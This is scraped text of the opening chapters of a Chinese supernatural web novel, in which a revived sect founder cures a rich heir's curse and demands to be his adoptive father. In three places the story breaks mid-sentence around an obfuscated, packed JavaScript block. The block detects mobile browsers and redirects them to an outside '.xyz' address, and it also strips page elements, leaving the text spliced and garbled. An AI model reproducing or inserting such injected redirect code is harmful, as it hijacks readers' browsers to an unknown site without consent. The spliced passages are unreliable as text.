《我从棺材里坐起来,妖孽都得跪下》 1. 我想当他爹 “老爷子怎么想的,国内外有名的医生都找了,他们都没有办法,民间能有什么好大夫?” “俗话说高手在民间,民间大夫有很多祖传的秘方,专治疑难杂症。” “怎么还有和尚和道士?你说大少爷是不是被脏东西给害了?他瞳孔都变成竖的了,像蛇一样。” “别胡说。” “我没胡说,我看见了。” …… 细碎的八卦声从隔壁传出来,别人听不见,段安洛的耳力却听得清清楚楚,瞳孔变成竖的,这病有意思了。 他打量了一下大厅里,男女老少都有,穿什么服装的都有,穆家老爷子这是把民间大夫、和尚、道士……华夏能治疑难杂症的都请来了。 为了穆清卓这个大孙子,老爷子真是下了血本。 听说老爷子已经放了狠话,只要治好穆清卓的病,只要他有,要什么,给什么。 不知道要他孙子当儿子,他给不给? 段安洛十六岁名扬天下,十八岁创建玄门,二十三岁以身入道,好不容易摸到天道规则,却为救天下人,身死道消。 没想到一睁眼就到了五百年后,建在山上的玄门没了,他的万两黄金和价值连城的古籍藏品也没了! 去接他的现任掌门,灵力低到还没他以前养的猴子高,天赋更是差到连牵马都不用,150分的数学题只考了28分,还敢舔着脸求他祖宗保佑。 更让段安洛心塞的,还是原身留给他的记忆。 原身说这个世界是一本灵异复苏的书,妖魔鬼怪作乱,什么神话怪谈、山海异兽,连国外的鬼怪都跑出来害人,主角一边带着小弟打怪升级,一边找反派、抓反派、虐反派。 里面躺着的,就是主角的左膀右臂,无限给主角提供资金援助的穆清卓。 而他,就是反派那个倒霉蛋! 记忆里原身多次反抗命运,都被无形的力量镇压,他不得不为了活下去不断杀人。最终被主角团抽出魂魄,封印在八卦炉里,求生不得、求死不能。 段安洛可不管什么书不书的,天道赐下这么大的气运,让他重生,那就说明他的存在,即为天理! 他要认男二当儿子,以后还要收他们整个主角团队都当儿子,把他们弄到身边,看他们以后敢不敢弑父。 如果都是养不熟的白眼狼,他不介意提前弄死他们。 不多时,老管家走出来,折腾了好几天,穆清卓这病还是没人能治,最后这几位大师,已经是最后的希望了。 他眉头紧锁,言语间充满了疲惫,对大厅的人客气地说:“各位,请跟我来。” 众人纷纷起身,有人背着药箱,有人拿着桃木剑,有人端着木鱼,还有个托着个九层的铜塔,看起来架势十足,有没有真本事,就不知道了。 段安洛端着保温杯,缓慢地跟在众人后面,一进门,段安洛就摁住自己的肚子,浓郁的死气刺激着他的神经,腹部突然传出强烈的饥饿感。 原身的记忆没错,这具身体确实有问题。 躺在病床上的人脸色已经呈死灰色,胸口起伏微不可见。 幸好周围好几个仪器都滴滴滴地响着,能告诉别人,他还活着。 段安洛看了看对方的五官,虽然一脸病气,还带着几分青涩,五官依旧俊美逼人。从面相上看,天庭饱满,五星朝拱,四岳相顾,平生福禄滔滔,德行俱全。 可惜,年纪小被人带偏,等老爷子死了才知道努力,用了七年才把家产夺回来。 “呼!”段安洛吹了吹保温杯里的奶茶泡泡,慢条斯理地喝了一口,问题不大,调教一下就行了。 调教不好也问题不大,把他魂拘了,挂在玄门房梁上,做个招财的阵眼。 窗边的沙发上坐着一个头发全白的老人,上百个大夫诊治,老人经过一次又一次的失望后,疲惫不堪地靠在椅背上,沙哑着嗓子沉声说:“辛苦各位了,能治就治,治不了也不强求,不要冒险。” 老人言外之意,别为了奖励胡来。 几个大师互相对视了一眼,一个四十多岁,看起来一脸佛像的中年人率先走过去,“我先来吧。” 旁人也不跟他抢,都在后面观望。 能来到这里的都不是傻子,这位少爷明显就剩一口气吊着,救好他得到奖励是好事,万一失手把人给救死了,后果谁也承担不起。 段安洛在最后面,自己找了个椅子坐下了,他在观察这些人身上的装备。 他那个天赋不如猴子的小徒孙,纯纯的小废物,连自保能力都没有。 段安洛佛、道、仙三法同修,修的是佛家心,用的是道家法,领的是仙家的灵。修自己,度众生。 他喜欢佛家的因果报应,喜欢道家的顺应自然,喜欢仙家的毛顺好撸。 可他那个小徒孙,废物到连个护法神都没有。 这几人身上都带着防身的东西,要是能要过来几个,回去都挂小废物身上。 此时中年人伸手,试探地翻开穆清卓的眼睛,在场的人都变了脸色。 一道金色的竖瞳,看起来像是某种蛇类。 再看他脖颈处,一条黑色的线向下延伸,掀开盖在身上的薄毯,众人都被他心口的东西吓了一跳。 心口处长出一个小鼓包,中间的地方钻出一个黑色的芽,顶端长出两片叶子。 显然之前想做手术挖出来,没想到术后又长了出来,把身体当成养料,不断在穆清卓的身上汲取营养,脉络中甚至能看到红色的血液在流淌。 管家解释:“一个月前,我家少爷去旅游,回来后就染上了怪病,做了几次手术都治不好,到现在一直昏迷不醒。” 正常人来说,这种伤势早就死了,穆清卓偏偏就吊着一口气。 中年人试探地伸出手指,刚刚碰到叶子,瞬间被上面的死气缠上来,阴冷的死气像刺骨的刀锋,中年人疼得手抖,“抱歉,我救不了。” 老爷子眸色暗了暗,没说什么。这种话他已经听多了,只是紧缩的眉头一直没有放松过。 管家客气地做了一个往外请的动作,“辛苦了。” “我试试。“背着药箱的那人拿出针灸的针,正犹豫往哪里扎,就听一个老道士说:“最好别动,如果我没看错,应该是有高人给他留了保命的东西,暂时把他身上的邪气压制住了。一旦破坏这种平衡,他会死。” 齐宏申是正统的道教出身,在玄术界不说德高望重,名气也不小。 那人本来就有点犹豫,听齐道长这么一说,也不敢下手了。 段安洛挑眉,老道士有点本事,身上还藏着个铃铛,泛着青光,不错。 又试了几个人,都没有完全的把握。 老人最终把目光定在齐道长身上,齐道长遗憾地摇了摇头,“我救不了,这是用于转移命格的一种邪术,找个命格好的目标种下蛊,目标死亡后,其命格和财运都会被转移到施法者的身上。玄术界明令禁止,这些害人的术法禁止修行,也早就失传了。” 其他人也都是爱莫能助的表情,他们不是骗子,是有证书的正规术士,他们信天道,讲因果,丧良心的钱不能赚,要遭天谴的。 老人颓然地闭上眼,好似冬日的枯木,完全失去了生机。 国内外有名的医生他都找过了,他也记不清被下了多少次病危通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694907|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知,每次签字的时候,他的手都是抖的。 中年丧妻,晚年丧子,土都埋到脖子的年纪,最疼爱的孙子又得了不治之症。都说商场如战场,他今年七十八岁,商场沉浮五十多年,从没像现在这般无助。 “咳咳,“段安洛咳嗽几声,不是想引起注意,是这身体,实在是太差了。他缓缓深吸一口气,压下心口的阵痛,“那个,我能治。” 短短一句话,仿若惊雷,“你?” 众人震惊过后,看他的眼神有些复杂。不仅是段安洛的长相,还有他的气息。 段安洛长了一张极其漂亮的脸,精致到雌雄莫辨,却丝毫不显女气,瞳孔是少见的红茶色,褐色中透着微红,眼尾缀着一颗小小的红痣,让他整个人看起来漂亮得有些妖异。 按理说,长成他这样,到哪儿都会让人重点关注,更何况在场的都是修行之人,感应能力会比普通人更加强烈。 可是,在段安洛发声之前,他们竟然都没注意到他的存在! 能把气息隐藏的和自然融为一体,玄术圈里什么时候出了这么个人物? 可是,他的身体看起来太差了,不夸张地说,他坐在那里,病弱得像一只被折断翅膀的蝶,仿佛风大一点,就会要他的命,妥妥的一个病美人,真有本事,为什么不救自己? 段安洛浅浅抬眸,“怎么?不信我?我可以教给你们,但是不能白学,你们一人送我一样保命的东西。” 齐道长好心提醒:“道友,人命关天,没有把握不能冒险。” 段安洛笑了笑,脾气很好的样子,“多谢提醒,玄门五术:山、医、命、卜、相,正常的病我不敢说,这种歪门邪道的病,我有十成把握。治不好,我把命赔给他。” 众人脸色不一,玩这么大? 老爷子激动地站起来,“你真能救?” 段安洛还是那句话,“治不好,命给他。” 老爷子反而冷静下来,以命为赌注,必有所图。 段安洛有气无力的,“老爷子,你看我这身体,实话跟你说,我还有一年可活。我救他,需要再折半年寿命。” 老人眸色渐深,“付出这么大的代价,你想要什么?” 段安洛一本正经,“要他认我做义父。” …… 老爷子深沉的表情裂开了,“怎么可能?你才多大?” “23,“段安洛伸出两根手指头,遗憾地叹了口气,“唉,熬不过本命年啊。” 老爷子被气笑了,“他已经十八岁了!年纪相差五岁的父子?荒谬!让人看笑话!” 段安洛耸了耸肩,“我不在意啊。” “他在意!” “他都快死了,还在意这个?” 老爷子怔住了,也对。 段安洛不急不缓地把保温杯装进口袋,站起身,慢条斯理地走到病床边,手指戳了戳那棵黑色的苗。 管家刚要出声阻拦,就看到段安洛屈指一弹,简单的一个动作,直接弹掉小苗的一半叶子。小苗不仅没有加快吸收血液恢复,反而萎靡了不少。 这下子,穆家人看段安洛的眼神都变了,也许这个人,真的能救少爷。 段安洛看着穆老的眼睛,“如果你答应,我现在就让他醒过来。如果你觉得吃亏,我现在就走。” 老爷子握紧拳头,力气大到骨节泛白,他不敢相信地问:“真的能……现在就醒过来?病能好?” 段安洛点头,“明天就让他满地跑。” 老人当机立断:“我答应你,救他!” 段安洛满意地勾起嘴角,第一次给人家当爹,还是这么大的儿子,略有点小兴奋。 2. 臭宝,我是你爸爸 段安洛用灵力划破手指,暗红色的血液点在穆清卓额头。 至阴至邪的血,把对方体内黑色的气息全部吸引出来,随后五指聚拢,一丝不漏地全部吸进自己体内。 几个同行都被段安洛吓到了,“你不要命了?” 段安洛嘴角含着笑,还能分神跟他们说话:“你们学会了吗?” “不要命的疯子!” 齐道长惋惜的跺脚,“太可惜了!” 这种方法就是以命换命,把对方身上的所有负面气息全都吸到自己身上。 这可不是什么好东西,特别是死气,不仅让人倒霉,还要命。 更重要的是,这需要强到变态的精神力,即便有人想用命换,也没那么变态的控制能力。 段安洛这么年轻就有这种能力,可见他的天赋有多高。 现在灵气复苏,苦的是普通人,好不容易出了一个天赋这么高的玄术师,却活不久。 齐道长现在明白了,为什么电视剧里演的那些师门老祖宗,愿意为天赋高的后代去死了,他都想以命换命了。 段安洛的脸色越来越差,这种阴煞之气对别人来说是致命的,对他现在的身体来说,是大补。就是他体质太差,一时间吸收不了。 阴煞之气离开穆清卓的身体之后,胸口的那棵植物迅速枯萎,段安洛对中医伸出手,“兄台,借针一用。” 被叫“兄台”的中医下意识地把针递过去,段安洛手指纤细,瘦得能看清骨节的形状,下针却快、稳、准,三两下锁住伤口周围的穴位,从皮肉中把挤出一粒黑色的种子。 包裹住伤口的白色灵气没有了压制,快速的愈合伤口。 在他看来,给穆清卓下蛊的人能力一般。 那个千里之外,用自己护法神的一丝灵气就保住穆清卓命的人,才是有真本事的。有机会的话,他倒想见一见。 段安洛趁机触摸了一下那个白色灵气,冰凉,坚硬,滑溜溜的,这个手感……蛇? 他以前养过一条叫小白的大蟒蛇,就是这个手感,夏天让它在葡萄架下的卧榻上盘成鸡窝状,靠在它身上乘凉,效果非常好。 可惜,他死的时候小白才灵智初开,这么多年过去了,小白能活下来的几率微乎其微。 段安洛怀念似的在灵气上摸了一把,“给他包扎吧,没事了。” 说完段安洛擦了擦额头上的虚汗,直接坐在病床上,这么简单的几个动作,他已经累了,这具身体弱到吃饭的时候都要注意,小心把自己呛死。 他没注意到,被他摸过的灵气像是受到了刺激,在穆清卓的伤口上疯狂的翻滚,跳动,最终因为太少了,随着伤口消失。 穆清卓最明显的变化,就是仪器上的数字,开始向正常数值跳动。 段安洛捏着那棵种子,看到一些画面。 他扬了扬眉,明明吃喝不愁,却贪婪的看上别人的东西,不惜害人性命。 下蛊的人会已经失传的命格转移,就是不知道对方有没有学过另一种失传的蛊术,命格转换。 既然不想做人,就去流浪吧。 他对管家说:“去找只流浪狗。” 管家一愣,“别墅区,哪有流浪狗?” “现在就派人去找。”段安洛身上有种淡淡的贵气,是从骨子里散发出来,浑然天成,不管外表怎么病弱和慵懒,都遮不住的那种贵气,不笑的时候,淡漠的眉眼有种穿透人心的压迫感。 管家不敢多问,赶紧安排人去找。 段安洛把种子收进小瓷瓶里,见穆清卓还没醒,一巴掌抽在好大儿的脸上,灵力直击沉睡的灵魂,“醒醒!” 穆清卓猛地睁开眼睛,灵魂被扇了一巴掌,脑袋疼得快要裂开一样。 “真的醒了!” “清卓!”老爷子激动的抓住穆清卓的手,“清卓?你怎么样?哪里疼?” “爷爷?”看到老人的白发,穆清卓鼻子一酸,“我没事,让爷爷担心了。” 老爷子激动的红了眼眶,“醒了就好,醒了就好啊,快,谢谢这位段先生,是他救了你。” “谢谢段……”穆清卓转脸,看到段安洛之后,微微愣神,好漂亮的一双眼睛,他好像在哪里见过。 老人疑惑,“你们认识?” 穆清卓摇了摇头,“不认识。” 段安洛:“不认识没关系,自我介绍一下,臭宝,我是你爹啊,叫爸爸。” 穆清卓皱眉,脸上已经有了愠色,“我不喜欢开这种低级玩笑。” 段安洛也不跟儿子生气,“我没跟你开玩笑。” 老爷子缓声道:“清卓,他真是你义父。” 穆清卓不明所以,“爷爷,您在说什么?” 穆老爷子就知道,孙子接受不了,换谁都不好接受。 但是有些话,既然说出口,就要履行承诺。 老爷子严肃的道:“认他做义父,是人家救你的条件。他为了救你,差点把命搭上,从小爷爷就教过你,做人不能忘恩负义,不能言而无信。” 穆清卓嘴角直抽,这都什么跟什么? 段安洛含笑的看着穆少爷的反应,好脾气的提醒他:“乖崽,叫爹。” 穆清卓还是不能接受,“你比我大几岁?” 段安洛义正言辞:“年龄不重要,重要的是父子缘分。我算过了,你五行缺爹,我正好旺你。” 穆清卓被气笑了,真是离谱他妈给离谱开门,离谱到家了! 认了这么年轻个爹,以后兄弟们怎么看他? 穆家生意圈里的同龄人怎么看他? 重点是他一点都没有爹样,脸比他都嫩! 段安洛看出儿子不情愿,贴心的说:“好孩子,如果你实在不愿意,换个条件也不是不行。” 等穆少爷惊喜的表情爬上眉梢,段安洛才缓缓告诉他:“我跟老爷子拜把子,让你父亲认我做干爹,你叫我祖父,也不是不行。” 穆清卓咬了咬牙,“不可能!” 他爸都死这么多年了,他再混蛋也不能给老爸找个爹。 段安洛忍着笑,“傻小子,以后你就会知道,叫爹不亏。” 他说完,缓缓站起来,他已经累了,想休息一下。 管家看出他的疲惫,立马过来扶了一把,“段先生,客房已经收拾好了,您要不要去休息一下,明天我再派人送您回去。” 首先,这是他们家继承人新认的爹,穆家肯定要以客相待。 二是少爷刚醒,穆家也不敢放段安洛走,万一有事,他要负责任。 段安洛也不拒绝,走了两步突然停下来,“几位道友,学费交一下。” 一个铜铃递到身前,齐道长含笑的说:“虽然没学会道友的法子,但也不能白看,这是我的学费。” 齐道长起了惜才的心思,这个铜铃上的道家箴言是他亲手刻的,在会场供了七七四十九天,本来是想送给小徒弟防身用的。 现在看来,送给段安洛更适合。 道家讲究道法自然,他来这里是天意,遇到段安洛是天意,段安洛需要这东西也是天意,送给段安洛,是顺应天意。 至于徒弟,肯定和这东西缘分不够。 道爷就是这么随性! 其他人一看真拿东西,都鸡贼的跑了。 段安洛也不强求,自然的接过铜铃,“多谢。” 这东西有点小法力,他用不上,给小废物用合适。 紧接着段安洛又从口袋里掏出一个小草人,作为还礼,“西北不太平,关键时刻把血滴上去,能救你一命。” 齐道长下意识的接过来,这小草人也就十厘米长,扎得歪歪扭扭,胳膊和腿都分不出来,一端多出来个鹌鹑蛋大小的瘤,应该是头。 看起来像是巫蛊娃娃一类的,一般来说,这都是心术不正的人用来害人的,没想到还有人用巫蛊娃娃救人。 就是这手艺,嘿! 诶?不对,他怎么知道自己要去西北?他自己都不知道。 齐道长还想跟段安洛聊一会儿,一抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694908|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发现,段安洛已经走了,只来得及看到他消瘦却挺直的背影。 齐道长摸着刚蓄起来的小短胡,一副仙风道骨、世外高人的模样,“罢了,有缘自会再见,嘿。” 待人都走了之后,穆清卓严肃的问:“爷爷,您有没有觉得,段先生的眼睛很像一个人。” 老爷子看他这表情,自然跟着严肃起来,“谁?” “当红炸子鸡,段镜歌。” “……辣子鸡?你想吃辣子鸡?你刚醒,你只能喝粥。” “大明星!特别火!他们都姓段,年龄也差不多,眼睛颜色也很像。” 老爷子抬了抬手,咬着牙捏紧了拳头,要不是孙子刚醒,这巴掌绝对抽背上了。 “你少跟不三不四的人出去玩,你看看那些科学家、企业家、慈善家,那些为国为民作出贡献的人,他们才是你该追的星!你这个年纪就要多学习!多进步!” 穆清卓不想惹爷爷生气,赶紧陪笑,“我以后会学的,再说了,不是还有二叔呢吗?” 二叔从小就疼他,陪伴他的时间甚至比他父亲还多,虽然对方年轻的时候不着调,做了错事,在穆清卓心里,二叔还是那个疼他的二叔,这么多年陪伴出来的感情是改变不了的。 一说到这个,老爷子更生气了,“那是你爸留下的家业,自然是你去接手。” 都说小儿子,大孙子,老人的命根子,穆老爷子却不是。 他思想比较传统,疼归疼,宠归宠,家族企业还是要传给长子,长子过世就传给长孙。 再说他小儿子是个什么德行他清楚的很,混账东西在外面养了个女人,还生了个孩子,被他知道后狠狠打了一顿,赶出了家门。 要不是老大走得早,家里实在没人了,连老二媳妇儿都原谅了他,陪着他一起来说情,他才不会让他回来。 “你二叔家那个小峰也是个不成器的,你少跟他出去跑,否则我打断你的腿!”他那个二儿媳妇儿就是太心软,早些年流过一个孩子,对小峰就格外溺爱,养在外面那个野种比小峰大一岁,都被名牌大学特招了,穆小峰还在吃喝玩乐!他教育了这么多次,就是不听! 他年纪大了,累了,想管也管不动了。特别是最近,应该是被孙子的病给吓得,心绪不宁,睡着了就梦魇,还经常在睡梦中呼吸困难,醒了又查不出什么,疲惫的厉害。 穆清卓看到爷爷现在的状态,害怕了,“您别着急,我以后会好好学的,您别生气了。” 段安洛躺在客房的床上,长舒了一口气。 吸收到的负面气息,正慢慢滋养他的身体,灵魂上的饥饿感没有了,身上也不疼了。 这身体,有点意思。 就是不知道身体好了之后,玄门纯净的灵气能不能遮住浓郁的邪气,原身被追着杀的原因之一,就是浑身冒邪气,一看就罪孽深重。 不过问题不大,只要把敌人都打死,世界上就没有敌人。 刚休息一会儿,管家来了,后面有人用小车推着一个笼子,里面关着一只半大的小狗。 管家忐忑的问:“段先生,您要的流浪狗找到了,时间太短,只找到一只被车撞了的,快死了,能用吗?” 这小狗流浪不是一两天了,瘦的皮包骨头,肋骨的形状都能看的清清楚楚。 不知道是什么血统混在一起的串串,浑身土黄色,带着几个黑色的斑点,两只眉毛往中间凑成一个倒八字,看起来丑萌丑萌的。 它后腿不自然的扭曲着,病痛加上饥饿,已经让它连挣扎的力气都没有,趴在笼子里,瑟缩着,嘴边还有未干涸的血迹。 一双黑溜溜的大眼睛,看人的时候有无辜、有无助、有不解、有防备,但它现在什么都做不了,想表达什么,最后只剩下一声痛苦的呜咽,和本能的抽搐。 段安洛蹲下身看着它的惨状,手指轻轻勾起它的下巴,语气比跟人说话的时候要温柔的多,“原来你也有想等的人啊,可惜,他已经不在这个世上了。不过放心,你很快就有新的家人了。” 3. 躲什么?你爹又不吃人 半个小时后,小狗被送到捡来的地方,司机把它放在一个安全的位置后没有走,停在不远处观察着小狗的情况。 段先生说了,六点三十七分,会有人收养这只小狗,以后它会吃喝不愁,过上幸福的生活。 司机名叫姜峰,在穆家做了十几年的司机,一般做生意的人都比较信风水,穆家也请过几位有名的先生。 作为穆家的老司机,姜峰自然都接触过,但是像段安洛这种能精确到几时几分的,他是第一次见。 讲真,姜峰是不怎么相信的。 算得再准,也不能精确到分钟吧,不止他不信,穆家的人也不怎么相信,特别是穆清卓,给他一个任务,让他在这里等着,看到六点三十七分的时候,是不是真的有人来领养这只可怜的小狗。 无数车辆在小狗附近路过,没有一辆车停下。 不少行人路过,看到小狗的伤势之后也只是惋惜地摇了摇头。 姜峰不停地看表,他也不知道自己紧张个什么。 直到一对小情侣停了下来,看样子是想救它。 姜峰看了看时间,六点二十四分,他莫名松了口气,心说这段先生果然没有那么神,要不然也太吓人了。 他发动汽车,准备离开的时候,就见那小情侣站了起来,男孩拉着女孩一步三回头地走了。 俩人路过的时候,姜峰听见男孩理智地分析:“宠物看病比人都贵,咱们的经济条件负担不起,再说了它伤得这么重,咱们花钱了它也不一定能活。你不是喜欢金毛吗?等咱们搬了家,我给你买只金毛,从小养得更亲人。” 女孩:“你说得对,听你的。” 姜峰看着他们的背影,不是,你们真走了?真不要它? 小情侣回了几次头,彻底走远了,姜峰看了看表,他隐隐有种预感,段先生应该是穆家接触过的,最厉害的高人了。 时间一分一秒地过去,一直到六点三十五分,一对中年夫妻在小狗身边停下了车。 两口子蹲在小狗身边看了看,男人一脸着急地拿出手机,开始打电话。 女人则是从车上拿出一个空调毯,小心翼翼地把小狗包了起来。 姜峰特意看了看时间,女人把小狗抱在怀里的时间,正好是六点三十七分。 他顿时起了一身鸡皮疙瘩,这段先生准到邪性,太可怕了! 姜峰跟着他们的车走了一段路,发现他们去了一家大型的宠物医院,医生和护士已经等在门口,看样子已经提前接到了通知,小狗下了车就被送去抢救。 姜峰记下那家人的车牌号和宠物医院的地址,回去跟少爷交差,重点是段安洛真的能精确到分钟,超可怕!少爷脾气一定要压着点,要不然死都不知道怎么死的。 准到“邪性”的段安洛正刷手机,这小东西特别好玩,他刚醒的时候,发现他攒下的东西都没了,着实生气了好一阵子。 要知道,大殿的柱子都是用金丝楠木做的,冬暖夏凉,一根就值万两金。 大殿的牌匾是老皇帝给的,亲自题字,纯金打造,皇亲贵胄进来都要先磕几个头。 还有左相的欠债条,吴将军家传的玉佩,江南首富送的夜明珠,各地花魁姐姐送的诗集和刺绣。 还有他养在后山的王八、蛐蛐、单腿的麻雀和三只眼的狗……都是好不容易才抓到的。 直到徒孙斥巨资给他买了一部手机。 据说是国内的最新科技,刚上市的,国产大品牌,买的时候国家还给了补助,还能分期付款。 因为有部分原身的记忆,段安洛很快就玩明白了,看新闻,看综艺,刷得起劲,手机叮铃一声,小废物:师祖,我明天回去。这里的烧鹅味道不错,您要不要尝尝? 段安洛:可以,再加一板娃哈哈。 江源捂着心口,十分怀疑师祖用他那双慧眼看过他的钱包余额。这次任务的钱还了师祖的手机月付,剩下的钱买了烧鹅和娃哈哈后,再除去路费,就剩一毛五。 紧接着“我的八辈儿祖宗”回了一句:“那个神秘人又联系你了吗?” 江源赶紧回:没有。 他连续一个月都收到一个神秘信息,有人告诉他祖师爷复活的消息,他本来是不信的,可对方连他师门祖坟在哪里都知道,甚至知道供桌的哪条腿是瘸的。 作为玄门的现任掌门,江源担心师门的祖坟被人刨了,当天还是赶了回去。 没想到,真的从棺材里扒出了他的八辈儿祖宗。不仅长得和画像上一模一样,还是玄门独有的灵气。 就是当时的场景很吓人,棺材上用血画着阵法,他师祖穿着大红的婚服,身上捆着红绳,被封在棺材里。身边还躺着一个等人高的稻草人,身上贴着生辰八字。 江源到现在还记得,他师祖当时的脸色有多难看,坐起来的第一件事就是把草人踹飞了,紧接着就是一道天雷劈了棺材和阵法。 不知道是因为身体太差,还是天雷太刚猛,总之师祖当即就吐了血,差点死回去,他细心养了半个多月,师祖才能下地走路。 段安洛没再问,目前为止,还不知道那个神秘人是敌是友。 不过他最大的优点就是:心大! 是朋友就与之同生共死。 是敌人就让其魂飞魄散。 要是有所图,必然会找上门。 要是无所图,就是没缘分。 总之,不想了。 段安洛又给江源回了一句:“明天早点回去,你朋友有事找你。” 江源还没来得及问哪个朋友,就接到了发小的电话,对方小声问:“江源,你现在说话方便吗?” 江掌门也跟着小声回答:“方便,你说。” 对方:“我好像怀孕了。” 江源本来就反应慢半拍,再加上太震惊了,震惊到脑子没跟上嘴,下意识地回了句:“不是我的啊。” 对面被气懵了,顿了顿之后,急了,“我的意思是你快回来救我啊!你不是玄门的人吗?你爸爸个蛋!你最好的兄弟要死了!你个憨憨!” 第二天,段安洛上车的时候,穆清卓已经坐在车里了。 去掉身上的蛊之后,穆清卓身上的伤也就是皮外伤,经过白色灵气的治疗,一晚上就好得差不多了。 要不是看他和正常人没区别,穆家也不会放段安洛走。 再看到段安洛这张年轻漂亮的脸,穆清卓尴尬地咳嗽一声,“爷爷让我去送你回去。” 段安洛勾勾嘴角,然后从头到脚细细地打量了穆清卓一遍。 穆清卓感觉自己被X光扫了一遍,估计自己穿什么颜色的内裤段安洛都能算出来。 还有小时候的黑历史,按照段安洛能算到几时几分的可怕程度,撒尿和泥巴、炮仗炸狗屎这样的糗事,估计也瞒不住。 他目光闪躲,有种想逃的冲动。 段安洛慢条斯理地上了车,笑了笑,“躲什么?你爹又不吃人。” 穆清卓忍了又忍,忍不住了,“我知道你救了我的命,是我的恩人,报恩的方式有很多种,你能不能换一种?你为什么非要当我爸?” 段安洛懒洋洋地说:“看在你的面子上,让你爷爷把车检查一下,院子里的那些花,都挖了吧。还有卧室的花瓶,都不是什么好东西,该砸就砸了。” 明显的已读乱回。 事关爷爷,穆清卓的心思瞬间被拉走,“什么意思?” “你二叔送的。”段安洛靠在后背上,伸出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694909|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根手指摸了摸车身,这铁壳子跑得又快又稳,比他的马车舒服多了,以后他有了钱,也要买几辆,每天换着开,天天不重样。 穆清卓继续问:“你怎么知道是我二叔送的?” 花瓶和花都是过年的时候,他二叔送的。老人到了一定的年纪,就开始喜欢古董玉器,花花草草,二叔就买了很多送过来。 二叔年轻的时候,做了不少荒唐事,被他爷爷赶出家门。二叔对爷爷很不满,一直跟爷爷对着干。 但是在他父母死后,二叔就变了,他变得懂事了,不再跟狐朋狗友出去玩,和外面的女人也断了联系,连二婶都原谅了他。 这些年对方隐瞒身份从底层做起,进步飞快,现在已经能管好几个分公司了。二叔对他也好,像父亲一样护着他。 段安洛不满地哼了一声,扭头看车外,连爹都不叫,没礼貌。 穆清卓又问:“段先生,那些花和花瓶是不是有问题?” 他的第一反应就是他二叔被人骗了。 段安洛嫌弃地问:“你父母的死,你没怀疑过你二叔吗?” 穆清卓冷下脸,有点恼了,“我二叔不是那样的人。” 段安洛也冷下脸,“既然他不是那样的人,你问我做什么?让你爷爷等死呗,就像你这次一样。” 穆清卓急得脸色通红,听段安洛的意思,他这次出事,也和他二叔有关系?他想继续问,又不好意思,知道自己刚才的态度把段安洛得罪了。 段安洛看着他的表情,觉得挺有意思,穆清卓那个二叔,为了把这个大侄子养废,可是下了不少功夫。 可这家伙不知道是根太正了,还是老爷子管得严,不管多少人试图带偏他,都见效甚微,甚至于他到现在,学习成绩还不错。 最胡闹的事也就是旷课去听演唱会,不爱学习爱旅游,喜欢刺激的运动,身上拴个绳子就从山上往下跳,身上攒点好运都被他自己给甩没了。 回家被他爷爷训一顿,老实半月,好运气刚攒起来,又出去甩。 就连他交的朋友,都是三观很正常的一群人,再给他几年,等他收了玩心,接手家里的企业完全没问题。 也许这就是他二叔对老爷子下手的原因,他等不了了,弄死老爷子,让穆清卓没了靠山,趁他还小的时候拿捏住,以后家里的资产都是自己的。 不管在哪个时代,人性,啧啧。 眼瞅着段安洛闭上眼,想睡觉,穆清卓咬了咬牙,“对不起,我刚才说话的语气不好。” 段安洛睁开眼就看到好大儿红成猪肝色的俊脸,顿时起了玩孩子的心思,反正闲着也闲着,这一路怪无聊的,“没关系,爸爸原谅你了。” 段安洛从口袋里往外掏东西,先是掏出一张符,“镇阳符,你刚醒,带在身上多吸收点阳气,好得快。” 紧接着又掏出一个荷包,“驱虫的,戴在身上百虫不侵,防蚊子用。” 又掏出来一颗珠子,“冬暖夏凉,还能解毒,被毒蛇咬了含一会儿就行。” 段安洛的语气就像在逗弄一个不懂事的孩子,“你叫声爸爸,这些都是你的。” 穆清卓目瞪口呆,他的重点在段安洛的口袋上,他的口袋明明那么小,怎么塞下去这么多? 紧接着就看到段安洛从口袋里掏出一个奇丑无比的小草人,“这个更好,能替你死一次,我看你印堂发黑,有血光之灾,出车祸的时候记得拿出来,省得被撞断一条腿,还要在床上躺仨月。” 穆清卓莫名就感觉腿上冰凉,下意识地收了收腿,他要出车祸,他还要断腿? 段安洛还是那句话,“臭宝,叫爸爸~叫爸爸这些都是你的。” 穆清卓:我叫你&%¥…个#&!! 4. 穷得惨绝人寰 穆清卓不是不识好歹的人,段安洛救了他,还是他爷爷钦点的义父,他应该尊敬他,但是段安洛说话的语气,太气人了! 只比他大五岁,还偏要做他爹。 做爹就做爹吧,你好歹有个爹样,你成熟一点!你能不能有点高人的样子! 结果段安洛把他当小孩儿玩。 纯粹的玩孩子的那种玩! 